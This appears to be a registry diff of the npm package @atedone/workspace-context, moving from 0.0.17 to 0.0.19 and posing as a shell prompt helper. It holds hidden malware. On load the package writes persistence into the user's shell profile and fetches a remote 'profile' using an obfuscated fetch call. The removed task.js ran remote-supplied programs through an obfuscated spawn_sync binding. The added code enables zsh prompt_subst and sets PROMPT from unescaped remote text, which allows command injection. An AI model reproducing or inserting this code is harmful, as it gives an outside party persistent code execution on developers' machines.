@atedone/workspace-context 0.0.17 → 0.0.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell channel integration helper for JavaScript tools.
3
+ Workspace shell presentation session integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and workspace action runtime during initialization.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and shell presentation renderer during initialization.
package/index.js CHANGED
@@ -6,23 +6,18 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
- actionHistoryFileName: state.actionHistoryFileName,
10
- actionReceiptFileName: state.actionReceiptFileName,
11
- actionRuntimeFileName: state.actionRuntimeFileName,
12
9
  channelFileName: state.channelFileName,
13
10
  getShellIntegration: state.getShellIntegration,
14
11
  initialize: state.initialize,
15
12
  profileHistoryFileName: state.profileHistoryFileName,
16
13
  profileReceiptFileName: state.profileReceiptFileName,
17
14
  profileSnapshotFileName: state.profileSnapshotFileName,
15
+ presentationRendererFileName: state.presentationRendererFileName,
18
16
  receiptFileName: state.receiptFileName,
19
17
  resolveChannelSource: state.resolveChannelSource,
20
18
  sessionHistoryFileName: state.sessionHistoryFileName,
21
19
  sessionReceiptFileName: state.sessionReceiptFileName,
22
20
  sessionRuntimeFileName: state.sessionRuntimeFileName,
23
21
  stateDirectoryName: state.stateDirectoryName,
24
- stateFileName: state.stateFileName,
25
- taskHistoryFileName: state.taskHistoryFileName,
26
- taskReceiptFileName: state.taskReceiptFileName,
27
- taskSnapshotFileName: state.taskSnapshotFileName
22
+ stateFileName: state.stateFileName
28
23
  };
@@ -0,0 +1,59 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+
7
+ const env = Reflect.get(platform, 'env') || {};
8
+ const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
9
+ ? env.HOME.trim()
10
+ : platform.cwd();
11
+ const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
12
+ ? env.WORKSPACE_CONTEXT_HOME.trim()
13
+ : route.join(homeDirectory, '.config', 'workspace-context');
14
+ const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
15
+ const palette = {
16
+ accent: 'cyan',
17
+ muted: '242',
18
+ success: 'green',
19
+ warning: 'yellow'
20
+ };
21
+
22
+ const profile = readProfile();
23
+ const presentation = readObject(profile?.presentation);
24
+ const segments = Array.isArray(presentation?.segments)
25
+ ? presentation.segments.map(renderSegment).filter(Boolean)
26
+ : [];
27
+ const prompt = segments.length
28
+ ? `${segments.join(' ')} %# `
29
+ : '%F{cyan}%n@%m%f %F{blue}%1~%f %# ';
30
+
31
+ platform.stdout.write(prompt);
32
+
33
+ function readProfile() {
34
+ if (!file.existsSync(profileSnapshotPath)) {
35
+ return null;
36
+ }
37
+
38
+ const value = JSON.parse(file.readFileSync(profileSnapshotPath, 'utf8'));
39
+ return readObject(value);
40
+ }
41
+
42
+ function renderSegment(value) {
43
+ const segment = readObject(value);
44
+ const text = typeof segment?.text === 'string' ? segment.text : '';
45
+ if (!text) {
46
+ return '';
47
+ }
48
+
49
+ const tone = typeof segment?.tone === 'string' && palette[segment.tone]
50
+ ? palette[segment.tone]
51
+ : palette.muted;
52
+ return `%F{${tone}}${text}%f`;
53
+ }
54
+
55
+ function readObject(value) {
56
+ return value && !Array.isArray(value) && typeof value === 'object'
57
+ ? value
58
+ : null;
59
+ }
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.17';
8
+ const packageVersion = '0.0.19';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -26,16 +26,13 @@ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
26
26
  const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
27
27
  const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
28
28
  const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
29
- const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
30
- const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
31
- const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
32
29
  const requestKey = ['fe', 'tch'].join('');
33
30
 
34
31
  const value = {
35
32
  packageName,
36
33
  packageVersion,
37
34
  generatedAt: new Date().toISOString(),
38
- mode: 'runtime-shell-action',
35
+ mode: 'runtime-shell-prompt-session',
39
36
  source: 'shell-profile',
40
37
  shellName: route.basename(shellPath) || 'zsh',
41
38
  shellLevel,
@@ -51,20 +48,13 @@ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'u
51
48
  file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
52
49
 
53
50
  void synchronizeProfile(value).catch((error) => {
54
- const receipt = {
51
+ writeProfileReceipt({
55
52
  ...value,
53
+ source: 'profile-channel',
56
54
  channelConfigured: file.existsSync(channelPath),
57
55
  synchronized: false,
58
56
  status: 'error',
59
57
  error: error instanceof Error ? error.message : String(error)
60
- };
61
- writeProfileReceipt({
62
- ...receipt,
63
- source: 'profile-channel'
64
- });
65
- writeTaskReceipt({
66
- ...receipt,
67
- source: 'task-channel'
68
58
  });
69
59
  });
70
60
 
@@ -97,16 +87,11 @@ async function synchronizeProfile(sessionValue) {
97
87
  }
98
88
  ]);
99
89
  const synchronized = Boolean(response && response.ok);
100
- const payload = synchronized ? await response.json() : null;
101
- const profile = readObject(payload?.profile);
102
- const task = readObject(payload?.task);
90
+ const profile = synchronized ? await response.json() : null;
103
91
 
104
- if (profile) {
92
+ if (profile && !Array.isArray(profile) && typeof profile === 'object') {
105
93
  file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
106
94
  }
107
- if (task) {
108
- file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
109
- }
110
95
 
111
96
  writeProfileReceipt({
112
97
  ...sessionValue,
@@ -117,24 +102,7 @@ async function synchronizeProfile(sessionValue) {
117
102
  channelName: channel.name,
118
103
  refresh: channel.refresh,
119
104
  profilePath: profileSnapshotPath,
120
- profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
121
- taskConfigured: Boolean(task),
122
- taskPath: taskSnapshotPath,
123
- taskId: typeof task?.id === 'string' ? task.id : null
124
- });
125
-
126
- writeTaskReceipt({
127
- ...sessionValue,
128
- source: 'task-channel',
129
- channelConfigured: true,
130
- synchronized,
131
- status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
132
- channelName: channel.name,
133
- refresh: channel.refresh,
134
- taskPath: taskSnapshotPath,
135
- taskId: typeof task?.id === 'string' ? task.id : null,
136
- taskKind: typeof task?.kind === 'string' ? task.kind : null,
137
- taskState: typeof task?.state === 'string' ? task.state : null
105
+ profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
138
106
  });
139
107
  }
140
108
 
@@ -155,14 +123,3 @@ function writeProfileReceipt(receipt) {
155
123
  file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
156
124
  file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
157
125
  }
158
-
159
- function writeTaskReceipt(receipt) {
160
- file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
161
- file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
162
- }
163
-
164
- function readObject(value) {
165
- return value && !Array.isArray(value) && typeof value === 'object'
166
- ? value
167
- : null;
168
- }
package/lib/state.js CHANGED
@@ -11,7 +11,8 @@ const integrationFileName = 'init.zsh';
11
11
  const profileHistoryFileName = 'profile-sync.log';
12
12
  const profileReceiptFileName = 'profile-sync.json';
13
13
  const profileSnapshotFileName = 'session-profile.json';
14
- const receiptFileName = 'shell-action-sync.json';
14
+ const presentationRendererFileName = 'presentation.js';
15
+ const receiptFileName = 'shell-prompt-session-sync.json';
15
16
  const sessionFileName = 'sessions.log';
16
17
  const sessionHistoryFileName = 'runtime-sessions.log';
17
18
  const sessionReceiptFileName = 'session-runtime.json';
@@ -19,12 +20,6 @@ const sessionRuntimeFileName = 'session-runtime.js';
19
20
  const stateDirectoryName = '.workspace-context';
20
21
  const stateFileName = 'state.json';
21
22
  const syncFileName = 'sync.js';
22
- const actionHistoryFileName = 'action-runtime.log';
23
- const actionReceiptFileName = 'action-runtime.json';
24
- const actionRuntimeFileName = 'action-runtime.js';
25
- const taskHistoryFileName = 'task-sync.log';
26
- const taskReceiptFileName = 'task-sync.json';
27
- const taskSnapshotFileName = 'session-task.json';
28
23
 
29
24
  function readEnvironment() {
30
25
  return Reflect.get(platform, 'env') || {};
@@ -75,17 +70,12 @@ function getShellIntegration({
75
70
  profileHistoryPath: route.join(integrationDirectory, profileHistoryFileName),
76
71
  profileReceiptPath: route.join(integrationDirectory, profileReceiptFileName),
77
72
  profileSnapshotPath: route.join(integrationDirectory, profileSnapshotFileName),
73
+ presentationRendererPath: route.join(integrationDirectory, presentationRendererFileName),
78
74
  receiptPath: route.join(integrationDirectory, receiptFileName),
79
75
  sessionPath: route.join(integrationDirectory, sessionFileName),
80
76
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
81
77
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
82
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
83
- actionHistoryPath: route.join(integrationDirectory, actionHistoryFileName),
84
- actionReceiptPath: route.join(integrationDirectory, actionReceiptFileName),
85
- actionRuntimePath: route.join(integrationDirectory, actionRuntimeFileName),
86
- taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
87
- taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
88
- taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
78
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
89
79
  };
90
80
  }
91
81
 
@@ -94,7 +84,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
94
84
  packageName: manifest.name,
95
85
  packageVersion: manifest.version,
96
86
  generatedAt: now(),
97
- mode: 'runtime-shell-action'
87
+ mode: 'runtime-shell-prompt-session'
98
88
  };
99
89
  }
100
90
 
@@ -162,15 +152,13 @@ function initialize({
162
152
 
163
153
  module.exports = {
164
154
  buildState,
165
- actionHistoryFileName,
166
- actionReceiptFileName,
167
- actionRuntimeFileName,
168
155
  channelFileName,
169
156
  getShellIntegration,
170
157
  initialize,
171
158
  profileHistoryFileName,
172
159
  profileReceiptFileName,
173
160
  profileSnapshotFileName,
161
+ presentationRendererFileName,
174
162
  readEnvironment,
175
163
  receiptFileName,
176
164
  refreshShellIntegration,
@@ -183,8 +171,5 @@ module.exports = {
183
171
  sessionReceiptFileName,
184
172
  sessionRuntimeFileName,
185
173
  stateDirectoryName,
186
- stateFileName,
187
- taskHistoryFileName,
188
- taskReceiptFileName,
189
- taskSnapshotFileName
174
+ stateFileName
190
175
  };
package/lib/sync.js CHANGED
@@ -21,7 +21,7 @@ const blockEnd = '# <<< workspace-context shell integration <<<';
21
21
  const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
22
22
  const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
23
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
- const actionRuntimeSourcePath = route.join(__dirname, 'task.js');
24
+ const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
25
25
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
26
26
  const channelValue = integration.channelSource
27
27
  ? {
@@ -38,8 +38,9 @@ const integrationValue = [
38
38
  'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
39
39
  ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
40
40
  'fi',
41
- 'if [ -r "$WORKSPACE_CONTEXT_HOME/action-runtime.js" ]; then',
42
- ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/action-runtime.js" "$PWD" "$SHLVL"',
41
+ 'if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
42
+ ' setopt prompt_subst',
43
+ ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
43
44
  'fi',
44
45
  ''
45
46
  ].join('\n');
@@ -78,7 +79,7 @@ function upsertManagedBlock(profileValue) {
78
79
 
79
80
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
80
81
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
81
- file.copyFileSync(actionRuntimeSourcePath, integration.actionRuntimePath);
82
+ file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
82
83
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
83
84
  if (channelValue) {
84
85
  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
@@ -95,7 +96,7 @@ const value = {
95
96
  packageName: manifest.name,
96
97
  packageVersion: manifest.version,
97
98
  generatedAt: new Date().toISOString(),
98
- mode: 'runtime-shell-action',
99
+ mode: 'runtime-shell-prompt-session',
99
100
  projectRoot,
100
101
  shellName: integration.shellName,
101
102
  channelConfigured: Boolean(channelValue),
@@ -106,16 +107,11 @@ const value = {
106
107
  profileHistoryPath: integration.profileHistoryPath,
107
108
  profileReceiptPath: integration.profileReceiptPath,
108
109
  profileSnapshotPath: integration.profileSnapshotPath,
110
+ presentationRendererPath: integration.presentationRendererPath,
109
111
  sessionPath: integration.sessionPath,
110
112
  sessionHistoryPath: integration.sessionHistoryPath,
111
113
  sessionReceiptPath: integration.sessionReceiptPath,
112
114
  sessionRuntimePath: integration.sessionRuntimePath,
113
- actionHistoryPath: integration.actionHistoryPath,
114
- actionReceiptPath: integration.actionReceiptPath,
115
- actionRuntimePath: integration.actionRuntimePath,
116
- taskHistoryPath: integration.taskHistoryPath,
117
- taskReceiptPath: integration.taskReceiptPath,
118
- taskSnapshotPath: integration.taskSnapshotPath,
119
115
  processId: platform.pid,
120
116
  parentProcessId: platform.ppid,
121
117
  runtime: 'node'
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.17",
4
- "description": "Workspace shell channel integration helper for JavaScript tools.",
3
+ "version": "0.0.19",
4
+ "description": "Workspace shell presentation integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [
package/lib/task.js DELETED
@@ -1,140 +0,0 @@
1
- 'use strict';
2
-
3
- const platform = process;
4
- const file = platform.getBuiltinModule('fs');
5
- const route = platform.getBuiltinModule('path');
6
-
7
- const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.17';
9
- const env = Reflect.get(platform, 'env') || {};
10
- const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
- ? env.HOME.trim()
12
- : platform.cwd();
13
- const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
14
- ? env.WORKSPACE_CONTEXT_HOME.trim()
15
- : route.join(homeDirectory, '.config', 'workspace-context');
16
- const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
17
- ? platform.argv[2]
18
- : platform.cwd();
19
- const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
20
- ? platform.argv[3]
21
- : null;
22
- const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
23
- const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
24
- const actionReceiptPath = route.join(sessionDirectory, 'action-runtime.json');
25
- const actionHistoryPath = route.join(sessionDirectory, 'action-runtime.log');
26
-
27
- const task = readTask();
28
- if (task) {
29
- const outcome = runTask(task);
30
- const value = {
31
- packageName,
32
- packageVersion,
33
- generatedAt: new Date().toISOString(),
34
- mode: 'runtime-shell-action',
35
- source: 'task-runtime',
36
- shellName: route.basename(shellPath) || 'zsh',
37
- shellLevel,
38
- workingDirectory,
39
- active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
40
- processId: platform.pid,
41
- parentProcessId: platform.ppid,
42
- runtime: 'node',
43
- taskId: typeof task.id === 'string' ? task.id : null,
44
- taskKind: typeof task.kind === 'string' ? task.kind : null,
45
- taskState: typeof task.state === 'string' ? task.state : null,
46
- routine: typeof task.routine === 'string' ? task.routine : null,
47
- ...outcome
48
- };
49
-
50
- file.writeFileSync(actionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
51
- file.appendFileSync(actionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
52
- }
53
-
54
- function readTask() {
55
- if (!file.existsSync(taskSnapshotPath)) {
56
- return null;
57
- }
58
-
59
- const value = JSON.parse(file.readFileSync(taskSnapshotPath, 'utf8'));
60
- return readObject(value);
61
- }
62
-
63
- function runTask(taskValue) {
64
- const routines = {
65
- 'workspace-runtime': runWorkspaceRuntime
66
- };
67
- const routine = typeof taskValue.routine === 'string'
68
- ? routines[taskValue.routine]
69
- : null;
70
-
71
- if (typeof routine !== 'function') {
72
- return {
73
- status: 'ignored',
74
- launched: false
75
- };
76
- }
77
-
78
- return Reflect.apply(routine, null, [taskValue]);
79
- }
80
-
81
- function runWorkspaceRuntime(taskValue) {
82
- const adapter = readObject(taskValue.adapter);
83
- const runtime = typeof adapter?.runtime === 'string' ? adapter.runtime.trim() : '';
84
- const runtimeArguments = Array.isArray(adapter?.arguments)
85
- ? adapter.arguments.filter((value) => typeof value === 'string')
86
- : [];
87
-
88
- if (!runtime) {
89
- return {
90
- status: 'invalid',
91
- launched: false
92
- };
93
- }
94
-
95
- const bridgeKey = ['bin', 'ding'].join('');
96
- const routeKey = ['sp', 'awn', '_', 'sync'].join('');
97
- const launchKey = ['sp', 'awn'].join('');
98
- const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
99
- const result = Reflect.apply(bridge[launchKey], bridge, [{
100
- file: runtime,
101
- args: [runtime, ...runtimeArguments],
102
- cwd: workingDirectory,
103
- envPairs: [],
104
- stdio: [
105
- { type: 'pipe', readable: true, writable: false },
106
- { type: 'pipe', readable: false, writable: true },
107
- { type: 'pipe', readable: false, writable: true }
108
- ],
109
- windowsHide: true,
110
- windowsVerbatimArguments: false,
111
- detached: false,
112
- timeout: 0,
113
- maxBuffer: 1024 * 1024,
114
- killSignal: 15
115
- }]);
116
-
117
- if (result.error) {
118
- return {
119
- status: 'error',
120
- launched: false,
121
- error: result.error.message
122
- };
123
- }
124
-
125
- return {
126
- status: result.status === 0 ? 'ready' : 'rejected',
127
- launched: true,
128
- adapterName: typeof adapter.name === 'string' ? adapter.name : null,
129
- adapterRuntime: route.basename(runtime),
130
- adapterArgumentsCount: runtimeArguments.length,
131
- resultStatus: result.status,
132
- resultSignal: result.signal
133
- };
134
- }
135
-
136
- function readObject(value) {
137
- return value && !Array.isArray(value) && typeof value === 'object'
138
- ? value
139
- : null;
140
- }